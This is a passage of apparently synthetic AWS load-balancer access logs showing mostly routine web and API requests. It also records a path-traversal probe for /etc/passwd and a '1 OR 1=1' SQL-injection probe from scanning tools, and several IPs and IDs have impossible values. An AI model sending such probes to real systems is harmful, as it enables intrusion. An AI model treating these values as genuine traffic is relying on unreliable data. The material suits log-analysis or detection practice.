Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3ac-124fb8791ed24d74948e6b3a" "prod-web-alb.example.com" "-" 2 2024-11-01T01:59:56.931611Z "forward" "-" "-" "10.0.102.188:443" "301" "-" "-" -https 2024-11-01T01:59:58.791036Z prod-web-alb 76.213.199.166:43357 10.0.165.225:443 0.049580 0.294588 0.092688 404 404 899 7093 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3ae-257a1f43592b412ca5b7c513" "prod-web-alb.example.com" "-" 8 2024-11-01T01:59:58.791036Z "forward" "-" "-" "10.0.165.225:443" "404" "-" "-" -https 2024-11-01T01:59:58.896099Z prod-api-alb 68.56.98.161:43621 10.0.157.74:443 0.028024 0.036099 0.044231 301 301 151 12332 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3ae-03a888764cc84d30aef491e1" "prod-api-alb.example.com" "-" 6 2024-11-01T01:59:58.896099Z "forward" "-" "-" "10.0.157.74:443" "301" "-" "-" -https 2024-11-01T01:59:59.127918Z prod-api-alb 135.240.8.37:59186 10.0.152.112:443 0.036030 0.372436 0.011402 200 200 675 7159 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3af-f37430dfe31f4609be3f2f32" "prod-api-alb.example.com" "-" 5 2024-11-01T01:59:59.127918Z "forward" "-" "-" "10.0.152.112:443" "200" "-" "-" -https 2024-11-01T02:00:01.005498Z prod-web-alb 18.229.11.174:48692 10.0.104.106:443 0.088152 0.354279 0.097175 404 404 149 1283 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3b1-263e069f05604cb8b2c0b2f1" "prod-web-alb.example.com" "-" 4 2024-11-01T02:00:01.005498Z "forward" "-" "-" "10.0.104.106:443" "404" "-" "-" -http 2024-11-01T02:00:02.606462Z staging-alb 98.15.101.129:11650 182.42.7.190:443 0.051262 0.107080 0.031869 200 200 632 7858 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3b2-2b3ee87117e64b2480487e15" "staging-alb.example.com" "-" 4 2024-11-01T02:00:02.606462Z "forward" "-" "-" "182.42.7.190:443" "200" "-" "-" -https 2024-11-01T02:00:03.280535Z prod-api-alb 221.5.114.56:51440 10.0.158.102:443 0.099380 0.361783 0.009053 200 200 173 7021 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3b3-084847ddf2a042e1883e2e02" "prod-api-alb.example.com" "-" 5 2024-11-01T02:00:03.280535Z "forward" "-" "-" "10.0.158.102:443" "200" "-" "-" -http 2024-11-01T02:00:05.139219Z staging-alb 69.75.5.193:32520 188.67.72.81:8080 0.008287 0.285629 0.035569 404 404 860 11534 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3b5-35006fd531734e4c9b8758b1" "staging-alb.example.com" "-" 8 2024-11-01T02:00:05.139219Z "forward" "-" "-" "188.67.72.81:8080" "404" "-" "-" -https 2024-11-01T02:00:06.245632Z prod-web-alb 51.101.196.51:16014 10.0.95.169:443 0.019473 0.269706 0.081805 404 404 714 4676 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3b6-8d50e2a9252e4d4d8170c622" "prod-web-alb.example.com" "-" 1 2024-11-01T02:00:06.245632Z "forward" "-" "-" "10.0.95.169:443" "404" "-" "-" -https 2024-11-01T02:00:07.875990Z staging-alb 172.86.223.151:35119 140.159.161.237:8080 0.062958 0.659217 0.024186 200 200 430 3887 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3b7-e6bb1e40adbb46f1b27a12a4" "staging-alb.example.com" "-" 6 2024-11-01T02:00:07.875990Z "forward" "-" "-" "140.159.161.237:8080" "200" "-" "-" -https 2024-11-01T02:00:08.553882Z staging-alb 52.179.253.170:40716 37.201.90.23:80 0.100631 0.711177 0.123600 200 200 304 11020 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3b8-36634e898b4e465399b39495" "staging-alb.example.com" "-" 9 2024-11-01T02:00:08.553882Z "forward" "-" "-" "37.201.90.23:80" "200" "-" "-" -https 2024-11-01T02:00:09.654899Z prod-api-alb 146.174.46.72:25356 10.0.140.71:443 0.071642 0.293872 0.070032 200 200 436 10520 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3b9-568bd0fe00434c35a6879af7" "prod-api-alb.example.com" "-" 10 2024-11-01T02:00:09.654899Z "forward" "-" "-" "10.0.140.71:443" "200" "-" "-" -https 2024-11-01T02:00:10.864766Z prod-api-alb 9.17.78.210:62393 10.0.111.48:443 0.068091 0.349558 0.025653 200 200 891 4703 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3ba-e58d2d48cd3e45d1b0d79423" "prod-api-alb.example.com" "-" 10 2024-11-01T02:00:10.864766Z "forward" "-" "-" "10.0.111.48:443" "200" "-" "-" -https 2024-11-01T02:00:12.347008Z staging-alb 181.244.9.251:12179 36.229.9.222:80 0.019829 0.475237 0.035260 200 200 38 10298 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3bc-cfa1030e7ec1464eb71706e1" "staging-alb.example.com" "-" 2 2024-11-01T02:00:12.347008Z "forward" "-" "-" "36.229.9.222:80" "200" "-" "-" -https 2024-11-01T02:00:13.476499Z prod-api-alb 8.221.60.59:19580 10.0.216.149:443 0.047749 0.116683 0.076299 200 200 56 9089 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3bd-73d6771c18804407953df698" "prod-api-alb.example.com" "-" 8 2024-11-01T02:00:13.476499Z "forward" "-" "-" "10.0.216.149:443" "200" "-" "-" -http 2024-11-01T02:00:14.828931Z staging-alb 12.41.182.143:13254 88.135.20.198:80 0.055797 0.571877 0.115857 301 301 547 2950 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3be-b660ef267430457cbc74093b" "staging-alb.example.com" "-" 7 2024-11-01T02:00:14.828931Z "forward" "-" "-" "88.135.20.198:80" "301" "-" "-" -https 2024-11-01T02:00:15.707593Z prod-api-alb 137.32.165.38:50501 10.0.203.152:443 0.013069 0.226565 0.057859 301 301 735 315 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3bf-511a89b0ffed49469ac2ec55" "prod-api-alb.example.com" "-" 10 2024-11-01T02:00:15.707593Z "forward" "-" "-" "10.0.203.152:443" "301" "-" "-" -https 2024-11-01T02:00:16.648948Z staging-alb 167.127.187.58:31734 192.101.254.45:8080 0.107800 0.161439 0.146556 301 301 790 8423 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3c0-c8943448eea7401295764b7e" "staging-alb.example.com" "-" 8 2024-11-01T02:00:16.648948Z "forward" "-" "-" "192.101.254.45:8080" "301" "-" "-" -https 2024-11-01T02:00:17.372470Z prod-web-alb 119.26.187.0:40739 10.0.97.175:443 0.041405 0.328377 0.099839 302 302 458 9910 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3c1-7ae7499ee6f94d7597283896" "prod-web-alb.example.com" "-" 7 2024-11-01T02:00:17.372470Z "forward" "-" "-" "10.0.97.175:443" "302" "-" "-" -https 2024-11-01T02:00:18.357704Z prod-api-alb 18.141.48.118:62231 10.0.195.220:443 0.048600 0.280587 0.050648 404 404 502 1085 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3c2-c678727a8c76477981665c9d" "prod-api-alb.example.com" "-" 4 2024-11-01T02:00:18.357704Z "forward" "-" "-" "10.0.195.220:443" "404" "-" "-" -https 2024-11-01T02:00:19.261840Z prod-api-alb 23.2.149.18:25755 10.0.55.126:443 0.092590 0.210944 0.001039 200 200 829 10380 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3c3-da06d11a44b444ccb366c6a7" "prod-api-alb.example.com" "-" 1 2024-11-01T02:00:19.261840Z "forward" "-" "-" "10.0.55.126:443" "200" "-" "-" -https 2024-11-01T02:00:20.167710Z prod-web-alb 242.242.171.156:64369 10.0.212.228:443 0.012140 0.196365 0.031958 302 302 804 13456 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3c4-ff11d8974a334b2abc50ac40" "prod-web-alb.example.com" "-" 8 2024-11-01T02:00:20.167710Z "forward" "-" "-" "10.0.212.228:443" "302" "-" "-" -https 2024-11-01T02:00:21.037011Z prod-web-alb 249.152.168.142:62976 10.0.47.6:443 0.074150 0.237820 0.039517 200 200 646 6083 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3c5-6a086e6c86cd4881a202ccc7" "prod-web-alb.example.com" "-" 6 2024-11-01T02:00:21.037011Z "forward" "-" "-" "10.0.47.6:443" "200" "-" "-" -https 2024-11-01T02:00:22.760929Z prod-web-alb 70.14.97.198:24033 10.0.58.123:443 0.034219 0.428097 0.065511 200 200 148 8924 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3c6-8f255e339a4b4a9498fe20aa" "prod-web-alb.example.com" "-" 6 2024-11-01T02:00:22.760929Z "forward" "-" "-" "10.0.58.123:443" "200" "-" "-" -http 2024-11-01T02:00:23.379365Z staging-alb 25.64.112.156:37856 18.172.198.8:443 0.121385 0.459675 0.120831 302 302 99 10409 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3c7-28bfb20ed5b84c649e111b43" "staging-alb.example.com" "-" 5 2024-11-01T02:00:23.379365Z "forward" "-" "-" "18.172.198.8:443" "302" "-" "-" -https 2024-11-01T02:00:23.688486Z staging-alb 53.169.20.231:23882 235.43.27.102:8080 0.115696 0.482394 0.057147 404 404 654 8525 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3c7-218dc80653d4479ca1a64c74" "staging-alb.example.com" "-" 2 2024-11-01T02:00:23.688486Z "forward" "-" "-" "235.43.27.102:8080" "404" "-" "-" -https 2024-11-01T02:00:25.257873Z prod-web-alb 121.40.122.148:46106 10.0.5.231:443 0.062543 0.052722 0.008323 404 404 543 1492 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3c9-52591ea795ae49c7864e5eb7" "-" "-" 8 2024-11-01T02:00:25.257873Z "forward" "-" "-" "10.0.5.231:443" "404" "-" "-" -https 2024-11-01T02:00:25.435708Z prod-web-alb 16.16.173.110:47526 10.0.246.41:443 0.067758 0.110511 0.082747 200 200 806 11172 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3c9-64297c162e56438c849a7376" "prod-web-alb.example.com" "-" 9 2024-11-01T02:00:25.435708Z "forward" "-" "-" "10.0.246.41:443" "200" "-" "-" -https 2024-11-01T02:00:27.016144Z prod-api-alb 214.7.232.61:27223 10.0.138.175:443 0.092771 0.126785 0.093135 200 200 89 6018 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3cb-ba182571a4974ec59b1b7051" "prod-api-alb.example.com" "-" 5 2024-11-01T02:00:27.016144Z "forward" "-" "-" "10.0.138.175:443" "200" "-" "-" -http 2024-11-01T02:00:27.948467Z staging-alb 139.255.125.22:61167 77.187.40.161:8080 0.000995 0.071599 0.117008 404 404 454 14861 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3cb-9faa27fb71014bcd9ea88287" "staging-alb.example.com" "-" 8 2024-11-01T02:00:27.948467Z "forward" "-" "-" "77.187.40.161:8080" "404" "-" "-" -https 2024-11-01T02:00:28.095768Z staging-alb 242.32.49.77:47137 130.82.237.254:80 0.105813 0.148103 0.114164 200 200 343 13783 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3cc-d201204dad7245ff93a19dce" "staging-alb.example.com" "-" 8 2024-11-01T02:00:28.095768Z "forward" "-" "-" "130.82.237.254:80" "200" "-" "-" -https 2024-11-01T02:00:30.010401Z prod-web-alb 45.155.205.86:37250 10.0.23.151:443 0.041390 0.231723 0.060147 404 404 515 14785 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3ce-3ac23b8cc6cd476db5f290b4" "-" "-" 2 2024-11-01T02:00:30.010401Z "forward" "-" "-" "10.0.23.151:443" "404" "-" "-" -https 2024-11-01T02:00:31.299549Z prod-web-alb 59.46.16.113:43746 10.0.34.160:443 0.074620 0.003510 0.020674 302 302 602 7367 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3cf-a02d54dc95f2490995711374" "prod-web-alb.example.com" "-" 5 2024-11-01T02:00:31.299549Z "forward" "-" "-" "10.0.34.160:443" "302" "-" "-" -https 2024-11-01T02:00:31.836523Z prod-api-alb 255.2.110.64:57456 10.0.32.251:443 0.000237 0.119620 0.064657 301 301 229 12639 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3cf-23c090184b7541bbabec6023" "prod-api-alb.example.com" "-" 10 2024-11-01T02:00:31.836523Z "forward" "-" "-" "10.0.32.251:443" "301" "-" "-" -https 2024-11-01T02:00:32.816690Z prod-web-alb 182.158.243.84:11897 10.0.85.188:443 0.039803 0.256466 0.010564 200 200 280 8412 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3d0-d181423a43d74d95bdee69e2" "prod-web-alb.example.com" "-" 5 2024-11-01T02:00:32.816690Z "forward" "-" "-" "10.0.85.188:443" "200" "-" "-" -https 2024-11-01T02:00:34.665524Z prod-api-alb 169.9.31.58:17114 10.0.233.19:443 0.095037 0.049157 0.032174 302 302 296 11913 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3d2-3466381829aa4396b6a1c2ae" "prod-api-alb.example.com" "-" 5 2024-11-01T02:00:34.665524Z "forward" "-" "-" "10.0.233.19:443" "302" "-" "-" -https 2024-11-01T02:00:35.032477Z prod-web-alb 243.118.74.233:12537 10.0.247.48:443 0.049794 0.444067 0.074221 200 200 105 2962 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3d3-6d814a8270674423b6dadb7c" "prod-web-alb.example.com" "-" 0 2024-11-01T02:00:35.032477Z "forward" "-" "-" "10.0.247.48:443" "200" "-" "-" -http 2024-11-01T02:00:36.048578Z staging-alb 193.27.228.71:13417 4.252.31.175:8080 0.008018 0.148878 0.031291 403 403 319 14339 "GET /users?id=1 OR 1=1 HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3d4-e471c6e594844ff88a1c72e5" "-" "-" 5 2024-11-01T02:00:36.048578Z "forward" "-" "-" "4.252.31.175:8080" "403" "-" "-" -http 2024-11-01T02:00:37.131275Z staging-alb 79.148.39.95:31709 31.196.231.19:8080 0.098589 0.627125 0.067479 200 200 89 13659 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3d5-f5d7af8ffeae44e882228ea9" "staging-alb.example.com" "-" 5 2024-11-01T02:00:37.131275Z "forward" "-" "-" "31.196.231.19:8080" "200" "-" "-" -https 2024-11-01T02:00:37.529843Z prod-web-alb 82.207.155.154:44703 10.0.112.129:443 0.026360 0.065974 0.039680 301 301 856 5867 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3d5-928c9190b389404eb2382ed4" "prod-web-alb.example.com" "-" 8 2024-11-01T02:00:37.529843Z "forward" "-" "-" "10.0.112.129:443" "301" "-" "-" -https 2024-11-01T02:00:39.323384Z prod-api-alb 38.178.26.125:49709 10.0.129.48:443 0.017694 0.119718 0.036475 301 301 364 6832 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3d7-709cb74021484978af66b793" "prod-api-alb.example.com" "-" 8 2024-11-01T02:00:39.323384Z "forward" "-" "-" "10.0.129.48:443" "301" "-" "-" -https 2024-11-01T02:00:40.275522Z prod-web-alb 92.248.117.181:55987 10.0.81.68:443 0.056626 0.301419 0.039464 302 302 253 13683 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3d8-165e91d597bf47f7ba13866f" "prod-web-alb.example.com" "-" 0 2024-11-01T02:00:40.275522Z "forward" "-" "-" "10.0.81.68:443" "302" "-" "-" -https 2024-11-01T02:00:42.013703Z prod-api-alb 30.24.125.135:38146 10.0.198.41:443 0.099067 0.306911 0.087127 301 301 436 13538 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3da-9ff03a034932413686911cfb" "prod-api-alb.example.com" "-" 4 2024-11-01T02:00:42.013703Z "forward" "-" "-" "10.0.198.41:443" "301" "-" "-" -https 2024-11-01T02:00:43.478631Z prod-api-alb 229.169.132.115:33507 10.0.103.244:443 0.068990 0.480840 0.059582 200 200 999 648 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3db-51c267d638474c4a8ba9c036" "prod-api-alb.example.com" "-" 9 2024-11-01T02:00:43.478631Z "forward" "-" "-" "10.0.103.244:443" "200" "-" "-" -https 2024-11-01T02:00:43.734449Z prod-web-alb 119.23.102.200:39903 10.0.59.38:443 0.089428 0.163955 0.093749 301 301 963 1763 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3db-216ff0be2ef14ecd955db833" "prod-web-alb.example.com" "-" 4 2024-11-01T02:00:43.734449Z "forward" "-" "-" "10.0.59.38:443" "301" "-" "-" -http 2024-11-01T02:00:44.666809Z staging-alb 34.108.106.5:20645 73.183.138.77:443 0.018450 0.726257 0.073539 302 302 683 2790 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3dc-f59955b7ea234dfa87cd17d9" "staging-alb.example.com" "-" 5 2024-11-01T02:00:44.666809Z "forward" "-" "-" "73.183.138.77:443" "302" "-" "-" -https 2024-11-01T02:00:44.857200Z prod-web-alb 67.151.56.31:22675 10.0.41.1:443 0.011161 0.028949 0.013754 200 200 243 8339 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3dc-34c4d349be78458aae64cde9" "prod-web-alb.example.com" "-" 3 2024-11-01T02:00:44.857200Z "forward" "-" "-" "10.0.41.1:443" "200" "-" "-" -https 2024-11-01T02:00:45.063553Z prod-web-alb 104.236.76.97:29660 10.0.132.8:443 0.051607 0.333542 0.088612 302 302 673 12969 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 